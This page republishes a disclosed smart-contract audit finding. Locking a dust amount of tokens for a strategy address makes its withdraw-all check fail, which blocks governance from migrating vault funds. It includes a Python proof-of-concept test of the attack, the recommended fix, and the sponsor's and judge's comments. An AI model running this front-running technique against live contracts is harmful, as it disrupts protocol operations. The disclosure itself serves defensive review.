Skip to content
DoS Audit finding Intermediate

Withdrawing all funds at once to vault can be DoS attacked by frontrunning and locking dust

The strategy's withdraw-all function requires the locker balance to be zero, so an attacker can lock a tiny amount of want tokens for the strategy address and cause the withdrawal to revert. This prevents governance from migrating funds to the vault, though end users can still withdraw normally.

berndartmueller Follow

Originally disclosed on Code4rena

Submitted by berndartmueller, also found by minhquanym

All funds can be migrated (withdrawn) at once to the caller vault by using the BaseStrategy.withdrawToVault function which internally calls MyStrategy._withdrawAll.

The latter function has the following check in place:

MyStrategy.sol#L184-L187

require(
    balanceOfPool() == 0 && LOCKER.balanceOf(address(this)) == 0,
    "You have to wait for unlock or have to manually rebalance out of it"
);

Funds can only be withdrawn (migrated) if the balance in LOCKER is fully unlocked.

By locking a small amount of want tokens via AuraLocker.lock with the strategy address, a malicious individual can cause DoS and prevent withdrawing and migrating funds to the vault.

Proof of Concept

The following test case will replicate the DoS attack by locking “dust” want tokens for the strategy address. This causes vault.withdrawToVault to revert.

def test_frontrun_migration(locker, deployer, vault, strategy, want, governance, keeper):
    # Setup
    randomUser = accounts[6]
    snap = SnapshotManager(vault, strategy, "StrategySnapshot")

    startingBalance = want.balanceOf(deployer)
    depositAmount = startingBalance // 2
    assert startingBalance >= depositAmount
    # End Setup

    # Deposit
    want.approve(vault, MaxUint256, {"from": deployer})
    snap.settDeposit(depositAmount, {"from": deployer})

    chain.sleep(15)
    chain.mine()

    vault.earn({"from": keeper})

    chain.snapshot()

    # Test no harvests
    chain.sleep(86400 * 250)  ## Wait 250 days so we can withdraw later
    chain.mine()

    before = {"settWant": want.balanceOf(vault), "stratWant": strategy.balanceOf()}

    strategy.prepareWithdrawAll({"from": governance})

    want.approve(locker, 1, {"from": deployer})
    locker.lock(strategy, 1, { "from": deployer }) # Donate "dust" want tokens to strategy

    vault.withdrawToVault({"from": governance}) # @audit-info reverts with "You have to wait for unlock or have to manually rebalance"

    after = {"settWant": want.balanceOf(vault), "stratWant": strategy.balanceOf()}

    assert after["settWant"] > before["settWant"]
    assert after["stratWant"] < before["stratWant"]
    assert after["stratWant"] == 0

Recommended Mitigation Steps

Call LOCKER.processExpiredLocks(false); in MyStrategy._withdrawAll directly and remove the check which enforces unlocking all want tokens on L184-L187.

Alex the Entreprenerd (BadgerDAO) confirmed and commented:

I have to agree with the evidence that _withdrawAll will be ineffective.

The implications are that no strategy migration is possible for this set of Vault <-> Strategy as even 1 wei would cause the setStrategy to fail.

In terms of impact, ultimately the warden didn’t show how withdrawals would be denied nor broken, end users can always withdraw via _withdraw meaning that the vault would still allow user withdrawals but governance would be unable to move tokens away from the strategy.

Alex the Entreprenerd (BadgerDAO) disagreed with severity and commented:

I have to correct myself, we actually have a way to send all tokens back to the vault in manualSendAuraToVault

I want to commend the warden for finding an interesting find, however I believe impact is further reduced as long as we accept that the strategy will not be changeable.

jack-the-pug (judge) validated and decreased severity to Medium

Alex the Entreprenerd (BadgerDAO) commented:

Acknowledged, I believe this effectively means that we won’t be able to replace the locking strategy. In the future we may end up using lockingProxies (separate contract just for locking) although that may create further trust issues.

End users can still withdraw their tokens at any time, however the finding confirms that if we ever want to do a “bveAURA V2”, we’ll need to deploy a new Vault.


The original report as published on Code4rena, by berndartmueller. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The withdraw-all function checks that the locker balance is zero instead of processing expired locks, so any dust locked for the strategy blocks migration.

Impact

Governance cannot migrate funds to the vault or replace the strategy, but end users can still withdraw their tokens at any time.

What the attacker needed

Attacker can lock tokens for the strategy; lock period has expired

The fix

The withdraw-all function should call processExpiredLocks(false) directly and remove the zero-balance check.

How it was found

  1. Deposit funds into the vault and call earn to invest them.
  2. Wait for the lock period to expire.
  3. Call prepareWithdrawAll from governance.
  4. Lock a tiny amount of want tokens for the strategy address via the locker.
  5. Call vault.withdrawToVault from governance, which reverts.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A vault relies on a strategy contract to manage funds. The strategy has a rule that it can only move all funds out if its balance in a separate locking contract is exactly zero. An attacker can send a tiny amount of tokens to that locking contract on behalf of the strategy, so the balance is never zero and the move fails.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by berndartmueller

View all

97 more disclosed reports, best first.

More from eBTC Zap Router

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.